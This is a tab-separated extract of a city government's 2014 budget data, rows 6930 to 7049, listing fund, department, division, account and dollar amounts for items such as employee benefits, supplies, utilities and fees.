6930	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	2755.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2755.0
6931	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	6190.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6190.0
6932	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	144.0
6933	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	5176.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5176.0
6934	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	7663.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7663.0
6935	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	482.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	482.0
6936	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
6937	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2014	4100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4100.0
6938	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	61558.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	61558.0
6939	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	566210.0	AIRPORT FIELD MAINTENANCE		 Supplies and Expenses	2014	10800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10800.0
6940	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		AMORT/ACCRET	659.0	Investment Income	2014	-55849.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-55849.0
6941	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	83794.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	83794.0
6942	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	5125.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5125.0
6943	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	128154.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	128154.0
6944	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DCAP		Salaries and Wages	2014	432.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	432.0
6945	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2014	4523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4523.0
6946	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522320.0	METERED POSTAGE		 Supplies and Expenses	2014	600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	600.0
6947	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
6948	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	848.0	 Supplies and Expenses	2014	52531.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	52531.0
6949	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6950	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6951	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6952	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6953	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	407170.0	LA COUNTY PROP A O&M REIMB	610.0	Intergovernmental	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6954	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-7594.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7594.0
6955	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-3715.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3715.0
6956	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-1663.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1663.0
6957	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-4352.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4352.0
6958	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-16101.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-16101.0
6959	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6960	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	835.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	835.0
6961	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	10744.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10744.0
6962	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	104.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	104.0
6963	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	3476.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3476.0
6964	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	209.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	209.0
6965	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	1189.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1189.0
6966	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
6967	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	169144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	169144.0
6968	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6969	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	597.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	597.0
6970	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	1225.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1225.0
6971	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	650.0
6972	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	5317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5317.0
6973	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1634.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1634.0
6974	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2014	177925.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	177925.0
6975	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	76178.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	76178.0
6976	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2014	2308.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2308.0
6977	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400850.0	SWIM CENTER-SMC	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6978	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401001.0	SWIM CENTER-GROUP LESSONS	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6979	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401006.0	SWIM CENTER-SPECIAL CLASSES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6980	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401220.0	REC-PARK BUILDING RENTAL	618.0	Rentals	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6981	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6982	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522184.0	BANK FEES-PARKING AUTHORITY	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6983	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6984	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6985	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6986	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6987	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6988	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	10352.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10352.0
6989	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522160.0	TRANSFER STATION FEE	806.0	 Supplies and Expenses	2014	15500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15500.0
6990	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522825.0	FOOD PURCHASES		 Supplies and Expenses	2014	180.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	180.0
6991	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES		 Supplies and Expenses	2014	100318.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100318.0
6992	BA	IS	44	SCAQMD AB 2766 Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	404940.0	AB2766 MBILE SRCE AIR POLL FEE	610.0	Intergovernmental	2014	-110000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-110000.0
6993	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		ACCRUED INVESTMENT INCOME	659.0	Investment Income	2014	37381.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	37381.0
6994	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	394855.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	394855.0
6995	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522180.0	BANK FEES		 Supplies and Expenses	2014	2306.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2306.0
6996	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	8200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8200.0
6997	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2014	256.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	256.0
6998	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	44322.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	44322.0
6999	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2014	8038.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8038.0
7000	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2014	20122.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20122.0
7001	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7002	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7003	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-2748.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2748.0
7004	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407220.0	NEIGHBOR NOTIFICATION FEE	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7005	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	2614.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2614.0
7006	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2014	3096.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3096.0
7007	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	544870.0	PARKING CITATION COSTS	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7008	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	408000.0	INTERFUND SERVICES-OPEN SP	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7009	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7010	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7011	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7012	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7013	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7014	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7015	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7016	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7017	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7018	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7019	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7020	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7021	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7022	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7023	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7024	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2014	180.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	180.0
7025	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	540590.0	EMPLOYEE RECOGNITION & APPRECI	812.0	 Supplies and Expenses	2014	6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6000.0
7026	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	407692.0	TAXI VEHICLE PERMIT FEES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7027	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	8327.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8327.0
7028	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	402270.0	SPECIAL INSURANCE	650.0	Charges for Service	2014	-83532.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-83532.0
7029	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400922.0	SPC ADMIN TRA	610.0	Intergovernmental	2014	-108825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-108825.0
7030	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	22519.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22519.0
7031	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511749.0	VISION	816.0	Salaries and Wages	2014	1789.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1789.0
7032	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	201974.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	201974.0
7033	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		UNEMPLOYMENT	816.0	Salaries and Wages	2014	5123.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5123.0
7034	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	533120.0	SPECIAL EQUIP MAINT	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
7035	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
7036	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
7037	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555210.0	TRAINING		 Supplies and Expenses	2014	800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	800.0
7038	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	653172.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	653172.0
7039	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	12090.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12090.0
7040	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	3001.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3001.0
7041	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	4856.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4856.0
7042	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	13000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13000.0
7043	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511749.0	VISION	804.0	Salaries and Wages	2014	269.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	269.0
7044	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DCAP	804.0	Salaries and Wages	2014	132.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	132.0
7045	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	1006.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1006.0
7046	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	10165.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10165.0
7047	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-63345.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-63345.0
7048	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-262192.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-262192.0
7049	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	555030.0	EMPLOYEE MEDICAL EXAMS	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
